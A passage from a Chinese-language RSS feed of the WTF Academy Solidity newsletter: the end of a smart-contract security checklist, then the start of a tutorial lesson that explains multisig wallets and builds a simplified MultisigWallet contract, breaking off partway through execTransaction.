<code>constant</code>?</p></li><li><p><code>V3</code> - 它是否可以是 <code>immutable</code>?</p></li><li><p><code>V4</code> - 它是否设置了可见性? (SWC-108)</p></li><li><p><code>V5</code> - 变量的用途和其他重要信息是否使用 natspec 标准记录?</p></li><li><p><code>V6</code> - 它可以与相邻的存储变量一起打包吗?</p></li><li><p><code>V7</code> - 它是否可以和其他变量打包在一个<code>struct</code>中?</p></li><li><p><code>V8</code> - 使用完整的 256 位类型，除非与其他变量一起打包。</p></li><li><p><code>V9</code> - 如果它是一个公共<code>array</code>，是否提供了一个单独的函数来返回完整的数组？?</p></li><li><p><code>V10</code> - 如果不是有意阻止子合约访问变量，使用更加灵活的<code>internal</code>，而不是<code>private</code>。</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">结构体</h2><ul><li><p><code>S1</code> - 这里是否有必要用<code>struct</code>? 可以仅用原始变量吗?</p></li><li><p><code>S2</code> - 它的字段是否打包在了一起?</p></li><li><p><code>S3</code> - <code>struct</code>的用途和所有字段是否使用 natspec 标准记录？</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">函数</h2><ul><li><p><code>F1</code> - 它是否可以是 <code>external</code>?</p></li><li><p><code>F2</code> - 它是否应该是 <code>internal</code>?</p></li><li><p><code>F3</code> - 它是否应该是 <code>payable</code>?</p></li><li><p><code>F4</code> - 它是否可以与另一个类似的函数合并?</p></li><li><p><code>F5</code> - 验证所有参数都在安全范围内，即使该函数只能由受信任的用户调用。</p></li><li><p><code>F6</code> - 是否遵循 check-before-effect 模式的检查？ (SWC-107)</p></li><li><p><code>F7</code> - 检查抢跑的可能性，例如批准功能。(SWC-114)</p></li><li><p><code>F8</code> - 是否会遭受 <code>insufficient gas griefing</code> 攻击? (SWC-126)</p></li><li><p><code>F9</code> - 是否应用了正确的修饰符，例如 <code>onlyOwner</code>/<code>requiresAuth</code>?</p></li><li><p><code>F10</code> - 是否总是分配返回值？</p></li><li><p><code>F11</code> - 写下并测试使得函数不能正常运行的状态不变量。</p></li><li><p><code>F12</code> - 写下并测试返回值和改变状态的不变量</p></li><li><p><code>F13</code> - 命名函数时要小心，因为人们会根据名称来假设行为。</p></li><li><p><code>F14</code> - 如果一个函数是故意不安全的（出于节省gas等原因），使用一个特别的名字来引起人们对它的风险的注意。</p></li><li><p><code>F15</code> - 是否所有参数、返回值、side effect和其他信息都使用 natspec 标准记录?</p></li><li><p><code>F16</code> - 如果该功能允许对系统中的另一个用户进行操作，不要假定<code>msg.sender</code>是被操作的用户。</p></li><li><p><code>F17</code> - 如果函数要求合约处于未初始化状态，使用显式的 <code>initialized</code> 变量检查。不要使用 <code>owner == address(0)</code> 或其他类似的检查作为替代品。</p></li><li><p><code>F18</code> - 如果不是有意阻止子合约访问变量，使用更加灵活的<code>internal</code>，而不是<code>private</code>。</p></li><li><p><code>F19</code> - 仅在子合约希望合法（且安全）重写函数的行为时使用<code>virtual</code>。</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">修饰符</h2><ul><li><p><code>M1</code> - 是否没有进行存储更新（重入锁除外）?</p></li><li><p><code>M2</code> - 是否避免了外部调用?</p></li><li><p><code>M3</code> - 修饰符的用途和其他重要信息是否使用 natspec 标准记录?</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">代码</h2><ul><li><p><code>C1</code> - 是否使用了 <code>SafeMath</code> 或 <code>solidity 0.8</code> 检查数学运算? (SWC-101)</p></li><li><p><code>C2</code> - 是否有存储槽被多次读取?</p></li><li><p><code>C3</code> - 是否使用了任何可能导致 DoS 的无界循环/数组? (SWC-128)</p></li><li><p><code>C4</code> - 仅在长间隔的用途上使用 <code>block.timestamp</code>。 (SWC-116)</p></li><li><p><code>C5</code> - 不要在使用 <code>block.number</code> 进行时间估计。 (SWC-116)</p></li><li><p><code>C7</code> - 尽可能避免使用<code>delegatecall</code>，尤其是对外部（即使是受信任的）合约。 (SWC-112)</p></li><li><p><code>C8</code> - 迭代时不要更新数组的长度。</p></li><li><p><code>C9</code> - 不要使用 <code>blockhash()</code>等全局变量获取随机数。 (SWC-120)</p></li><li><p><code>C10</code> - 是否保护了签名不被 <code>nonce</code> 和 <code>block.chainid</code> 重放。 (SWC-121)</p></li><li><p><code>C11</code> - 确保所有签名使用了 <code>EIP-712</code>。 (SWC-117 SWC-122)</p></li><li><p><code>C12</code> - 如果计算 &gt;2 个动态类型的哈希时，应该使用 <code>abi.encode()</code>，而不是 <code>abi.encodePacked()</code>。 (SWC-133)</p></li><li><p><code>C13</code> - 谨慎对待内联汇编。 (SWC-127)</p></li><li><p><code>C14</code> - 不要假设特定的 <code>ETH</code> 余额。 (SWC-132)</p></li><li><p><code>C15</code> - 避免 <code>insufficient gas griefing</code>攻击。 (SWC-126)</p></li><li><p><code>C16</code> - <code>private</code> 数据不是隐私的。 (SWC-136)</p></li><li><p><code>C17</code> - 更新 <code>memory</code> 中的 <code>struct</code>/<code>array</code> 不会在 <code>storage</code> 中修改它。</p></li><li><p><code>C18</code> - 永远不要隐藏状态变量。 (SWC-119)</p></li><li><p><code>C19</code> - 不要在函数中改变入参的值。</p></li><li><p><code>C20</code> - 即时计算数值是否比存储它更便宜?</p></li><li><p><code>C21</code> - 所有状态变量是否都从正确的合约中读取（主合约与克隆合约）?</p></li><li><p><code>C22</code> - 是否正确使用了比较运算符 (<code>&gt;</code>, <code>&lt;</code>, <code>&gt;=</code>, <code>&lt;=</code>)，特别是防止差一错误（off-by-one error）?</p></li><li><p><code>C23</code> - 是否正确使用了逻辑运算符 (<code>==</code>, <code>!=</code>, <code>&amp;&amp;</code>, <code>||</code>, <code>!</code>)，特别是防止差一错误（off-by-one error）?</p></li><li><p><code>C24</code> - 在除法前使用乘法，除非乘法将导致溢出。</p></li><li><p><code>C25</code> - 魔术数字是否被具有直观名称的常数所取代？</p></li><li><p><code>C26</code> - 如果 <code>ETH</code> 的接收者有一个 <code>fallback</code> 函数，它会导致 DoS 吗? (SWC-113)</p></li><li><p><code>C27</code> - 使用 SafeERC20 或安全检查返回值。</p></li><li><p><code>C28</code> - 不要在循环中使用 <code>msg.value</code>。</p></li><li><p><code>C29</code> - 如果可能出现循环 <code>delegatecall</code>，则不要使用 <code>msg.value</code>（比如合约继承了 <code>Multicall</code>/<code>Batchable</code>）。</p></li><li><p><code>C30</code> - 不要假设 <code>msg.sender</code> 是相关交易的用户.</p></li><li><p><code>C31</code> - 除非用于模糊测试或形式验证，否则请勿使用 <code>assert()</code>。 (SWC-110)</p></li><li><p><code>C32</code> - 不要将 <code>tx.origin</code> 用于授权检查。 (SWC-115)</p></li><li><p><code>C33</code> - 不要使用 <code>address.transfer()</code> 或 <code>address.send()</code>，使用 <code>.call.value(...)(&quot;&quot;)</code>。 (SWC-134)</p></li><li><p><code>C34</code> - 使用低级调用（low-level call）时确保合约存在。</p></li><li><p><code>C35</code> - 调用具有多个参数的函数时，使用命名参数语法。</p></li><li><p><code>C36</code> - 不要使用内联汇编调用 <code>create2</code>，使用新式的 <code>salt</code> 合约创建语法。</p></li><li><p><code>C37</code> - 不要使用内联汇编获取<code>chainid</code>或者合约的代码/长度/，使用新式Solidity语法。</p></li><li><p><code>C38</code> - 将变量设置为零值（<code>0</code>, <code>false</code>, <code>&quot;&quot;</code>）时使用<code>delete</code>关键字 .</p></li><li><p><code>C39</code> - 尽可能注释代码来解释 “为什么” 要这么做。</p></li><li><p><code>C40</code> - 在使用晦涩的语法或编写非常规代码时，尽可能注释代码在做 “什么”。</p></li><li><p><code>C41</code> - 在复杂的数学过程旁注释上解释和输入输出例子。</p></li><li><p><code>C42</code> - 在优化gas的地方注释说明，并估计节省的gas。</p></li><li><p><code>C43</code> - 在有意避免优化的地方注释说明，并估计多花费的gas。</p></li><li><p><code>C44</code> - 在不可能上溢/下溢的代码块，或者上溢/下溢在人类时间尺度上不现实的代码块（计数器等）使用 <code>unchecked</code>。注释中写清楚哪里用了 <code>unchecked</code>，并估计节省的gas。</p></li><li><p><code>C45</code> - 不要依赖 <code>Solidity</code> 的算术运算符优先规则。括号不仅用来覆盖默认运算符优先级，而且可以用于强调它。</p></li><li><p><code>C46</code> - 传递给逻辑/比较运算符 (<code>&amp;&amp;</code>/<code>||</code>/<code>&gt;=</code>/<code>==</code>) 的表达式不应有 side effects。</p></li><li><p><code>C47</code> - 如果执行了可能导致精度损失的算术运算，确保它有利于系统中的正确参与者，并在注释中记录它。</p></li><li><p><code>C48</code> - 在注释中写下函数需要重入锁的原因。</p></li><li><p><code>C49</code> - 如果模糊函数仅支持特定范围的参数，使用取模操作限制参数输入范围（例如 <code>x = x % 10000 + 1</code> 将范围限制在从 1 到 10,000）。</p></li><li><p><code>C50</code> - 尽可能使用三元表达式来简化逻辑。</p></li><li><p><code>C51</code> - 当对多个地址进行操作时，问问自己如果它们相同的话会发生什么。</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">外部调用</h2><ul><li><p><code>X1</code> - 是否真的需要外部合约调用？</p></li><li><p><code>X2</code> - 如果运行时报错，是否会导致 DoS？比如 <code>balanceOf()</code> 回滚。 (SWC-113)</p></li><li><p><code>X3</code> - 如果调用重新进入当前函数是否有害？</p></li><li><p><code>X4</code> - 如果调用重新进入另一个函数是否有害？</p></li><li><p><code>X5</code> - 是否检查了结果并处理错误? (SWC-104)</p></li><li><p><code>X6</code> - 如果它用光 <code>gas</code> 后会发生什么?</p></li><li><p><code>X7</code> - 如果它返回大量数据，会导致调用合约中的 gas 耗尽报错吗？</p></li><li><p><code>X8</code> - 如果你调用特定函数时返回了 <code>success</code>，也不意味着该函数存在。</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">静态调用</h2><ul><li><p><code>S1</code> - 是否真的需要外部合约调用？</p></li><li><p><code>S2</code> - 是否应该标记为 <code>view</code> 吗？</p></li><li><p><code>S3</code> - 如果运行时报错，是否会导致 DoS？比如 <code>balanceOf()</code> 回滚。 (SWC-113)</p></li><li><p><code>S4</code> - 如果调用进入无限循环，是否会导致 DoS？</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">事件</h2><ul><li><p><code>E1</code> - 哪些变量应该被 <code>indexed</code>？</p></li><li><p><code>E2</code> - 相关操作的创建者地址是否包含在索引字段中？</p></li><li><p><code>E3</code> - 不要将包括<code>string</code> 和 <code>bytes</code> 的动态变量设为 事件的 <code>inedex</code>。</p></li><li><p><code>E4</code> - 事件释放的时间和变量是否使用 natspec 标准记录?</p></li><li><p><code>E5</code> - 将释放事件的函数中所有被操作用户/ID设为<code>indexed</code>字段。</p></li><li><p><code>E6</code> - 避免函数调用和事件参数中使用表达式求值，他们的求值顺序是不可预测的。</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">合约</h2><ul><li><p><code>T1</code> - 使用 <code>SPDX</code> 许可证标识符.</p></li><li><p><code>T2</code> - 是否所有会修改 <code>storage</code> 变量的函数都释放了时间？</p></li><li><p><code>T3</code> - 检查所有的继承是否正确，保证他们简洁且线性。 (SWC-125)</p></li><li><p><code>T4</code> - 如果合约应接收 <code>ETH</code>，是否加了 <code>receive() external payable</code>？</p></li><li><p><code>T5</code> - 写下并测试关于变量之间关系的不变量。</p></li><li><p><code>T6</code> - 合约的目的和与其他合约的交互是否使用 natspec 标准记录？</p></li><li><p><code>T7</code> - 如果另一个合约必须继承它以解锁其全部功能，则该合约应标记为 <code>abstract</code>。</p></li><li><p><code>T8</code> - 如果构造函数中设置了非常量变量的值，且该变量的值也会在其他函数中被改变并释放事件（见<code>T2</code>），那么构造函数中也应该释放事件。</p></li><li><p><code>T9</code> - 避免过度继承，因为它掩盖了复杂性并鼓励过度抽象。</p></li><li><p><code>T10</code> - 始终使用命名的导入语法来明确声明哪些合约是从另一个文件中导入的。</p></li><li><p><code>T11</code> - 按文件夹/包将引入进行分组，每组之间空一行，外部依赖组放在开头，然后是模拟/测试合约（如有），最后是本地导入。</p></li><li><p><code>T12</code> - 使用 natspec 标准中的 <code>@notice</code> 记录合约的目的和功能，<code>@dev</code> 记录合约如何与项目内部/外部的其他合约交互。</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">项目</h2><ul><li><p><code>P1</code> - 使用正确额许可 （例如如果你依赖的包用了GLP协议，你也要使用）。</p></li><li><p><code>P2</code> - 单元测试所有内容。</p></li><li><p><code>P3</code> - 尽可能多的模糊测试。</p></li><li><p><code>P4</code> - 尽可能多的使用符号执行。</p></li><li><p><code>P5</code> - 运行 Slither/Solhint 并审查所有发现。</p></li></ul><h2 id="h-defi" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">DeFi</h2><ul><li><p><code>D1</code> - 检查你对其他合约作用和返回值的假设。</p></li><li><p><code>D2</code> - 不要将内部估计值与账户实际余额混为一谈。</p></li><li><p><code>D3</code> - 不要将 <code>AMM</code> 的现货价格用作价格预言机。</p></li><li><p><code>D4</code> - 如果没收到链下或预言机的价格目标，不要在 <code>AMM</code> 上进行交易。</p></li><li><p><code>D5</code> - 使用完好性检查来防止预言机/价格操纵。</p></li><li><p><code>D6</code> - 注意变基（rebasing）代币。如果它们不受支持，要在文档中明确。</p></li><li><p><code>D7</code> - 注意 <code>ERC-777</code> 代币，即使是你信任的代币也可以被重入。</p></li><li><p><code>D8</code> - 注意转账收税的代币，如果它们不受支持，要在文档中明确。</p></li><li><p><code>D9</code> - 注意使用太多或太少小数的标记，要在文档中明确支持的最大值和最小值。</p></li><li><p><code>D10</code> - 注意依赖代币余额来确定收益的合约，这个数值可能会被操纵。</p></li><li><p><code>D11</code> - 如果你的合约是代币授权的目标，请不要根据用户输入进行任意调用。</p></li></ul>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity极简入门: 50. 多签钱包]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-50</link>
            <guid>8TRt8yqfse4qgQVP19D8</guid>
            <pubDate>Wed, 28 Sep 2022 13:53:45 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidityV神曾说过，多签钱包要比硬件钱包更加安全（推文）。这一讲，我们将介绍多签钱包，并且写一个极简版多签钱包合约。教学代码（150行代码）由gnosis safe合约（几千行代码）简化而成。多签钱包多签钱包是一种电子钱包，特点是交易被多个私钥持有者（多签人）授权后才能执行：例如钱包由3个多签人管理，每笔交易需要至少2人签名授权。多签钱包可以防止单点故障（私钥丢失，单人作恶），更加去中心化，更加安全，被很多DAO采用。 Gnosis Safe多签钱包是以太坊最流行的多签钱包，管理近400亿美元资产，合约经过审计和实战测试，支持多链（以太坊，BSC，Polygon等），并提供丰富的DAPP支持。更多信息可以阅读我在21年12月写的Gnosis Saf...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>V神曾说过，多签钱包要比硬件钱包更加安全（<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/VitalikButerin/status/1558886893995134978?s=20&amp;t=4WyoEWhwHNUtAuABEIlcRw">推文</a>）。这一讲，我们将介绍多签钱包，并且写一个极简版多签钱包合约。教学代码（150行代码）由gnosis safe合约（几千行代码）简化而成。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fb26127a3e95c55c27cdd63ffb3a76a72ce79d3fe78d660d3946a7baab758723.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">多签钱包</h2><p>多签钱包是一种电子钱包，特点是交易被多个私钥持有者（多签人）授权后才能执行：例如钱包由<code>3</code>个多签人管理，每笔交易需要至少<code>2</code>人签名授权。多签钱包可以防止单点故障（私钥丢失，单人作恶），更加去中心化，更加安全，被很多DAO采用。</p><p>Gnosis Safe多签钱包是以太坊最流行的多签钱包，管理近400亿美元资产，合约经过审计和实战测试，支持多链（以太坊，BSC，Polygon等），并提供丰富的DAPP支持。更多信息可以阅读我在21年12月写的<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s">Gnosis Safe使用教程</a>。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">多签钱包合约</h2><p>在以太坊上的多签钱包其实是智能合约，属于合约钱包。下面我们写一个极简版多签钱包<code>MultisigWallet</code>合约，它的逻辑非常简单：</p><ol><li><p>设置多签人和门槛（链上）：部署多签合约时，我们需要初始化多签人列表和执行门槛（至少n个多签人签名授权后，交易才能执行）。Gnosis Safe多签钱包支持增加/删除多签人以及改变执行门槛，但在咱们的极简版中不考虑这一功能。</p></li><li><p>创建交易（链下）：一笔待授权的交易包含以下内容</p><ul><li><p><code>to</code>：目标合约。</p></li><li><p><code>value</code>：交易发送的以太坊数量。</p></li><li><p><code>data</code>：calldata，包含调用函数的选择器和参数。</p></li><li><p><code>nonce</code>：初始为<code>0</code>，随着多签合约每笔成功执行的交易递增的值，可以防止签名重放攻击。</p></li></ul></li><li><p>收集多签签名（链下）：将上一步的交易ABI编码并计算哈希，得到交易哈希，然后让多签人签名，并拼接到一起的到打包签名。对ABI编码和哈希不了解的，可以看WTF Solidity极简教程<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/27_ABIEncode/readme.md">第27讲</a>和<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/28_Hash/readme.md">第28讲</a>。</p><pre data-type="codeBlock" text="交易哈希: 0xc1b055cf8e78338db21407b425114a2e258b0318879327945b661bfdea570e66

多签人A签名: 0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c

多签人B签名: 0x2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b

打包签名：
0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b
"><code><span class="hljs-section">交易哈希: 0xc1b055cf8e78338db21407b425114a2e258b0318879327945b661bfdea570e66</span>

<span class="hljs-section">多签人A签名: 0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c</span>

<span class="hljs-section">多签人B签名: 0x2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b</span>

打包签名：
0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b
</code></pre></li><li><p>调用多签合约的执行函数，验证签名并执行交易（链上）。对验证签名和执行交易不了解的，可以看WTF Solidity极简教程<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/22_Call/readme.md">第22讲</a>和<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/37_Signature/readme.md">第37讲</a>。</p></li></ol><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">事件</h3><p><code>MultisigWallet</code>合约有<code>2</code>个事件，<code>ExecutionSuccess</code>和<code>ExecutionFailure</code>，分别在交易成功和失败时释放，参数为交易哈希。</p><pre data-type="codeBlock" text="    event ExecutionSuccess(bytes32 txHash);    // 交易成功事件
    event ExecutionFailure(bytes32 txHash);    // 交易失败事件
"><code>    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">ExecutionSuccess</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> txHash</span>)</span>;    <span class="hljs-comment">// 交易成功事件</span>
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">ExecutionFailure</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> txHash</span>)</span>;    <span class="hljs-comment">// 交易失败事件</span>
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">状态变量</h3><p><code>MultisigWallet</code>合约有<code>5</code>个状态变量：</p><ol><li><p><code>owners</code>：多签持有人数组</p></li><li><p><code>isOwner</code>：<code>address =&gt; bool</code>的映射，记录一个地址是否为多签。</p></li><li><p><code>ownerCount</code>：多签持有人数量</p></li><li><p><code>threshold</code>：多签执行门槛，交易至少有n个多签人签名才能被执行。</p></li><li><p><code>nonce</code>：初始为<code>0</code>，随着多签合约每笔成功执行的交易递增的值，可以防止签名重放攻击。</p></li></ol><pre data-type="codeBlock" text="    address[] public owners;                   // 多签持有人数组 
    mapping(address =&gt; bool) public isOwner;   // 记录一个地址是否为多签
    uint256 public ownerCount;                 // 多签持有人数量
    uint256 public threshold;                  // 多签执行门槛，交易至少有n个多签人签名才能被执行。
    uint256 public nonce;                      // nonce，防止签名重放攻击
"><code>    <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">public</span> owners;                   <span class="hljs-comment">// 多签持有人数组 </span>
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">bool</span>) <span class="hljs-keyword">public</span> isOwner;   <span class="hljs-comment">// 记录一个地址是否为多签</span>
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> ownerCount;                 <span class="hljs-comment">// 多签持有人数量</span>
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> threshold;                  <span class="hljs-comment">// 多签执行门槛，交易至少有n个多签人签名才能被执行。</span>
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> nonce;                      <span class="hljs-comment">// nonce，防止签名重放攻击</span>
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">函数</h3><p><code>MultisigWallet</code>合约有<code>6</code>个函数：</p><ol><li><p>构造函数：调用<code>_setupOwners()</code>，初始化和多签持有人和执行门槛相关的变量。</p><pre data-type="codeBlock" text="// 构造函数，初始化owners, isOwner, ownerCount, threshold 
constructor(        
    address[] memory _owners,
    uint256 _threshold
) {
    _setupOwners(_owners, _threshold);
}
"><code><span class="hljs-comment">// 构造函数，初始化owners, isOwner, ownerCount, threshold </span>
<span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">        
    <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> _owners,
    <span class="hljs-keyword">uint256</span> _threshold
</span>) </span>{
    _setupOwners(_owners, _threshold);
}
</code></pre></li><li><p><code>_setupOwners()</code>：在合约部署时被构造函数调用，初始化<code>owners</code>，<code>isOwner</code>，<code>ownerCount</code>，<code>threshold</code>状态变量。传入的参数中，执行门槛需大于等于<code>1</code>且小于等于多签人数；多签地址不能为<code>0</code>地址且不能重复。</p><pre data-type="codeBlock" text="/// @dev 初始化owners, isOwner, ownerCount,threshold 
/// @param _owners: 多签持有人数组
/// @param _threshold: 多签执行门槛，至少有几个多签人签署了交易
function _setupOwners(address[] memory _owners, uint256 _threshold) internal {
    // threshold没被初始化过
    require(threshold == 0, &quot;WTF5000&quot;);
    // 多签执行门槛 小于 多签人数
    require(_threshold &lt;= _owners.length, &quot;WTF5001&quot;);
    // 多签执行门槛至少为1
    require(_threshold &gt;= 1, &quot;WTF5002&quot;);

    for (uint256 i = 0; i &lt; _owners.length; i++) {
        address owner = _owners[i];
        // 多签人不能为0地址，本合约地址，不能重复
        require(owner != address(0) &amp;&amp; owner != address(this) &amp;&amp; !isOwner[owner], &quot;WTF5003&quot;);
        owners.push(owner);
        isOwner[owner] = true;
    }
    ownerCount = _owners.length;
    threshold = _threshold;
}
"><code><span class="hljs-comment">/// @dev 初始化owners, isOwner, ownerCount,threshold </span>
<span class="hljs-comment">/// @param _owners: 多签持有人数组</span>
<span class="hljs-comment">/// @param _threshold: 多签执行门槛，至少有几个多签人签署了交易</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_setupOwners</span>(<span class="hljs-params"><span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> _owners, <span class="hljs-keyword">uint256</span> _threshold</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
    <span class="hljs-comment">// threshold没被初始化过</span>
    <span class="hljs-built_in">require</span>(threshold <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"WTF5000"</span>);
    <span class="hljs-comment">// 多签执行门槛 小于 多签人数</span>
    <span class="hljs-built_in">require</span>(_threshold <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> _owners.<span class="hljs-built_in">length</span>, <span class="hljs-string">"WTF5001"</span>);
    <span class="hljs-comment">// 多签执行门槛至少为1</span>
    <span class="hljs-built_in">require</span>(_threshold <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>, <span class="hljs-string">"WTF5002"</span>);

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> _owners.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-keyword">address</span> owner <span class="hljs-operator">=</span> _owners[i];
        <span class="hljs-comment">// 多签人不能为0地址，本合约地址，不能重复</span>
        <span class="hljs-built_in">require</span>(owner <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>) <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> owner <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>) <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> <span class="hljs-operator">!</span>isOwner[owner], <span class="hljs-string">"WTF5003"</span>);
        owners.<span class="hljs-built_in">push</span>(owner);
        isOwner[owner] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    }
    ownerCount <span class="hljs-operator">=</span> _owners.<span class="hljs-built_in">length</span>;
    threshold <span class="hljs-operator">=</span> _threshold;
}
</code></pre></li><li><p><code>execTransaction()</code>：在收集足够的多签签名后，验证签名并执行交易。传入的参数为目标地址<code>to</code>，发送的以太坊数额<code>value</code>，数据<code>data</code>，以及打包签名<code>signatures</code>。打包签名就是将收集的多签人对交易哈希的签名，按多签持有人地址从小到大顺序，打包到一个[bytes]数据中。这一步调用了<code>encodeTransactionData()</code>编码交易，调用了<code>checkSignatures()</code>检验签名是否有效、数量是否达到执行门槛。</p><pre data-type="codeBlock" text="/// @dev 在收集足够的多签签名后，执行交易
/// @param to 目标合约地址
/// @param value msg.value，支付的以太坊
/// @param data calldata
/// @param signatures 打包的签名，对应的多签地址由小到达，方便检查。 ({bytes32 r}{bytes32 s}{uint8 v}) (第一个多签的签名, 第二个多签的签名 ... )
function execTransaction(
    address to,
    uint256 value,
    bytes memory data,
    bytes memory signatures
) public payable virtual returns (bool success) {
    // 编码交易数据，计算哈希
